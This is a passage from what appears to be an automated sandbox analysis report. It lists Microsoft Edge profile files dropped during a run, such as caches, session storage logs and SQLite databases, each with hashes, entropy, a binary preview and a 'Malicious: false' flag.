Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc..'O....exports...Rc.5......module....Rc.&1.....define....Rb.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......Q.Q.M.F..uD...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=truea........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4.........../...-..........\....-..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:PeC0Xl/lkV/lxEYcSNexn:2NkWBSNexn
MD5:	2B6CF849DB2E2EE2B6F26E83E5626085
SHA1:	A44D801D35CDD02019A6DC523C7C81D6250EDD62
SHA-256:	A7C60EDB16FFA97DC2EC37068821DC80F5B39576DA691CC643CD3C1A06DD6C75
SHA-512:	7BE49BFEE7741710225FEAE629CD17625B426AF61374DBF87D703F5FCB2507D7F647499A81F3B40930993A3344F8DE517766762D783C31E9CDEA21FABA1A4024
Malicious:	false
Preview:	@...z.iXoy retne.........................X....,.................({.-./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:PeC0Xl/lkV/lxEYcSNexn:2NkWBSNexn
MD5:	2B6CF849DB2E2EE2B6F26E83E5626085
SHA1:	A44D801D35CDD02019A6DC523C7C81D6250EDD62
SHA-256:	A7C60EDB16FFA97DC2EC37068821DC80F5B39576DA691CC643CD3C1A06DD6C75
SHA-512:	7BE49BFEE7741710225FEAE629CD17625B426AF61374DBF87D703F5FCB2507D7F647499A81F3B40930993A3344F8DE517766762D783C31E9CDEA21FABA1A4024
Malicious:	false
Preview:	@...z.iXoy retne.........................X....,.................({.-./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3f212.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:PeC0Xl/lkV/lxEYcSNexn:2NkWBSNexn
MD5:	2B6CF849DB2E2EE2B6F26E83E5626085
SHA1:	A44D801D35CDD02019A6DC523C7C81D6250EDD62
SHA-256:	A7C60EDB16FFA97DC2EC37068821DC80F5B39576DA691CC643CD3C1A06DD6C75
SHA-512:	7BE49BFEE7741710225FEAE629CD17625B426AF61374DBF87D703F5FCB2507D7F647499A81F3B40930993A3344F8DE517766762D783C31E9CDEA21FABA1A4024
Malicious:	false
Preview:	@...z.iXoy retne.........................X....,.................({.-./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6421
Entropy (8bit):	3.4183733206953875
Encrypted:	false
SSDEEP:	96:DuK6EsZ96eP1ix1R6YyO9FZp+WER+LixRD9D1V65nLl9iSri+1nm51:D+EANOb9Lp+WmcixL/65nLl9iSrTu
MD5:	79EF64C855CA038B0616E10C5B63A3FE
SHA1:	B3FFAFEF5A547CE811AECC2159CC347B8B2A6423
SHA-256:	247B979032139D8DB0FD846CADAC6D5861A38D950604E87B37AD71AEB1EE795C
SHA-512:	11FA2031FA6FFD51BAF18D500B56F1216DE38E07CF87A0DC895F02325E388D416B6993BC27A04E353C8AB5BC0B9A618D951CCB73109F8CBD716F03094034CFE6
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............(...b................next-map-id.1.Cnamespace-6268b7dc_6855_4030_beb8_1a05c80f9fa8-https://ntp.msn.com/.0:.P..................map-0-shd_sweeper./{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.a.d.s.-.w.w.-.t.u.n.e.2.-.d.e.f.b.l.k.,.a.d.s.-.s.m.a.r.t.b.l.c.k.-.d.n.k.,.k.w.-.c.b.v.4.-.d.e.f.a.u.l.t.1.,.k.w.-.s.i.-.d.e.f.a.u.l.t.3.,.s.i.d.-.n.e.w.-.c.l.i.d.,.s.i.d.-.w.1.-.a.d.d.g.n.o.i.s.e.,.s.i.d.-.w.3.-.a.d.d.g.n.o.i.s.e.,.s.i.d.a.m.o.-.w.1.-.u.n.i.-.s.t.a.g.e.-.2.,.s.i.d.a.m.o.-.w.3.-.u.n.i.-.s.t.a.g.e.-.2.,.p.n.p.w.e.a.t.o.d.a.y.,.1.s.-.w.p.o.-.l.o.c.k.-.l.s.s.d.r.k.2.,.s.h.s.t.r.3.c.c.v.,.p.r.g.-.s.h.-.s.h.s.t.r.3.c.a.r.,.p.r.g.-.s.h.-.s.h.s.t.r.n.c.c.v.,.p.r.g.-.s.p.-.l.a.y.o.u.t.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.-.q.p.v.3.4.2.,.p.r.g.-.1.s.w.-.s.a.e.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.092845202351134
Encrypted:	false
SSDEEP:	6:cOFL/5Q+q2P923oH+TcwtrQMxIFUt8HOFLrSgZmw+HOFLQmpQVkwO923oH+Tcwtf:fFL/S+v4YebCFUt8uFLrX/+uFLQhV5Ln
MD5:	453D7F2F4CDD5175CACDAC64CB59EBF3
SHA1:	5C0B01AC6ACF4C569F06B5ED5FA3FE7A5EB037D1
SHA-256:	5521268359D01FEA14C3FFF3450C0DD704411BF7C99CF5CB079FAD973AF5D4E2
SHA-512:	9838BD0687CB244953139C72C90B942C0C9C00BC515A968DD017AE0F5735410B2382361F54FEC583A06386788B4A70AC7BF9D91357D13B2F7E1F2B9F1A8679FB
Malicious:	false
Preview:	2024/10/29-01:59:20.314 1c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/29-01:59:20.317 1c2c Recovering log #3.2024/10/29-01:59:20.321 1c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.092845202351134
Encrypted:	false
SSDEEP:	6:cOFL/5Q+q2P923oH+TcwtrQMxIFUt8HOFLrSgZmw+HOFLQmpQVkwO923oH+Tcwtf:fFL/S+v4YebCFUt8uFLrX/+uFLQhV5Ln
MD5:	453D7F2F4CDD5175CACDAC64CB59EBF3
SHA1:	5C0B01AC6ACF4C569F06B5ED5FA3FE7A5EB037D1
SHA-256:	5521268359D01FEA14C3FFF3450C0DD704411BF7C99CF5CB079FAD973AF5D4E2
SHA-512:	9838BD0687CB244953139C72C90B942C0C9C00BC515A968DD017AE0F5735410B2382361F54FEC583A06386788B4A70AC7BF9D91357D13B2F7E1F2B9F1A8679FB
Malicious:	false
Preview:	2024/10/29-01:59:20.314 1c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/29-01:59:20.317 1c2c Recovering log #3.2024/10/29-01:59:20.321 1c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374655161808921

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8171955327857345
Encrypted:	false
SSDEEP:	24:3p5bTtneSyeRGpsAF4unxqtLp3X2amEtG1ChqfkjkGKQKkOAM4:3DBczFcLp2FEkChESkGLHOp
MD5:	E0F2460EC59061DC00950C1BF488E10E
SHA1:	E9CA54F70913B344D36738ED19C3736DF7B09513
SHA-256:	8178D5F0D38C525694492C381A86D13786C9A1FF20886ADD841008C3C4C8F4D1
SHA-512:	9BDB0B131DEE7FAB2387E74CB024A4E15A42D7A8AC4153BC8A2A115F24C1C247E2C000A0D2BCC1F903B6AEB499DD6144233BF4740C79941A50E4F5B56DDFB939
Malicious:	false
Preview:	SNSS........7.-............7.-......".7.-............7.-........7.-........7.-........7.-....!...7.-................................7.-.7.-1..,....7.-$...6268b7dc_6855_4030_beb8_1a05c80f9fa8....7.-........7.-....<...........7.-....7.-........................7.-....................5..0....7.-&...{98952893-68FF-4A5D-A164-705C709ED3DB}......7.-........7.-...........................7.-............7.-........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........sI.%....sI.%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.162351411040774
Encrypted:	false
SSDEEP:	6:cOUowVq2P923oH+Tcwt7Uh2ghZIFUt8HOU6SgZmw+HOU6SIkwO923oH+Tcwt7Uh9:fMVv4YebIhHh2FUt8uzSg/+uzSI5LYeQ
MD5:	0A96AD7F48DF05EB467B1209673120C3
SHA1:	B8CE6E2A245ECA1F3F5E842330E819366CA97051
SHA-256:	217530AD01B1D330D9C4E3DC14FE614BA086B8E2F766E0C692F312A68D93009E
SHA-512:	BF3AEF82AE2C75D9900368EE576669A2F331D83676ED7E2C641B6C94A419C95745529B80F29291974A98FA4467DD1C93421CB4B531473F5E4EEE786EC6A2A1EA
Malicious:	false
Preview:	2024/10/29-01:59:19.415 8d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/29-01:59:19.453 8d4 Recovering log #3.2024/10/29-01:59:19.453 8d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.162351411040774
Encrypted:	false
SSDEEP:	6:cOUowVq2P923oH+Tcwt7Uh2ghZIFUt8HOU6SgZmw+HOU6SIkwO923oH+Tcwt7Uh9:fMVv4YebIhHh2FUt8uzSg/+uzSI5LYeQ
MD5:	0A96AD7F48DF05EB467B1209673120C3
SHA1:	B8CE6E2A245ECA1F3F5E842330E819366CA97051
SHA-256:	217530AD01B1D330D9C4E3DC14FE614BA086B8E2F766E0C692F312A68D93009E
SHA-512:	BF3AEF82AE2C75D9900368EE576669A2F331D83676ED7E2C641B6C94A419C95745529B80F29291974A98FA4467DD1C93421CB4B531473F5E4EEE786EC6A2A1EA
Malicious:	false
Preview:	2024/10/29-01:59:19.415 8d4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/29-01:59:19.453 8d4 Recovering log #3.2024/10/29-01:59:19.453 8d4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.214262284294611
Encrypted:	false
SSDEEP:	12:fFLHv4YebvqBQFUt8uFL6/+uFLu5LYebvqBvJ:fd4YebvZg8u4uLYebvk
MD5:	70F44AD85F2794AD8E3F89A86A0218AB
SHA1:	87EA8B477DDAF0449336030FB3C66B918114893E
SHA-256:	61EDD1BA9BA0BF6B4E5E66E6A16CD8684E047E14696EF168972B64545906DE81
SHA-512:	EDCFFC2F5196EF66923612A219CEE3D45F656BFE61E9953135E88EE73EC954F5FB7926C6F5D7ADC5C21B486481FD0A068D42DBA0AAA1B05EAECD2ABEE100A7BD
Malicious:	false
Preview:	2024/10/29-01:59:20.297 1ca8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/29-01:59:20.305 1ca8 Recovering log #3.2024/10/29-01:59:20.312 1ca8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.214262284294611
Encrypted:	false
SSDEEP:	12:fFLHv4YebvqBQFUt8uFL6/+uFLu5LYebvqBvJ:fd4YebvZg8u4uLYebvk
MD5:	70F44AD85F2794AD8E3F89A86A0218AB
SHA1:	87EA8B477DDAF0449336030FB3C66B918114893E
SHA-256:	61EDD1BA9BA0BF6B4E5E66E6A16CD8684E047E14696EF168972B64545906DE81
SHA-512:	EDCFFC2F5196EF66923612A219CEE3D45F656BFE61E9953135E88EE73EC954F5FB7926C6F5D7ADC5C21B486481FD0A068D42DBA0AAA1B05EAECD2ABEE100A7BD
Malicious:	false
Preview:	2024/10/29-01:59:20.297 1ca8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/29-01:59:20.305 1ca8 Recovering log #3.2024/10/29-01:59:20.312 1ca8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1c4cb097-3fb7-49a1-91ef-e1070935e677.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1e33b428-7d7c-45b7-8aac-a9b353b5f0d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2258793d-64cb-4de8-a4ab-6ae3cc0d0a62.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\58099258-e4f8-4748-bb42-d87c5ee00d6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39675.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39914.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.2327219658822495
Encrypted:	false
SSDEEP:	12:fWyn3+v4YebvqBZFUt8uWy+/+uW6V5LYebvqBaJ:fI4Yebvyg8uaDLYebvL
MD5:	387F108A6E08B9152AF70A192CFD0529
SHA1:	7DBD2E16BAF5296EEF2F99E67F2665A8CCD7BD92
SHA-256:	EF2C2B7E39D6E7B0BC64C4C61ED248A5FE5A19067C4A0BCE2E856AE3AFC5A5F8
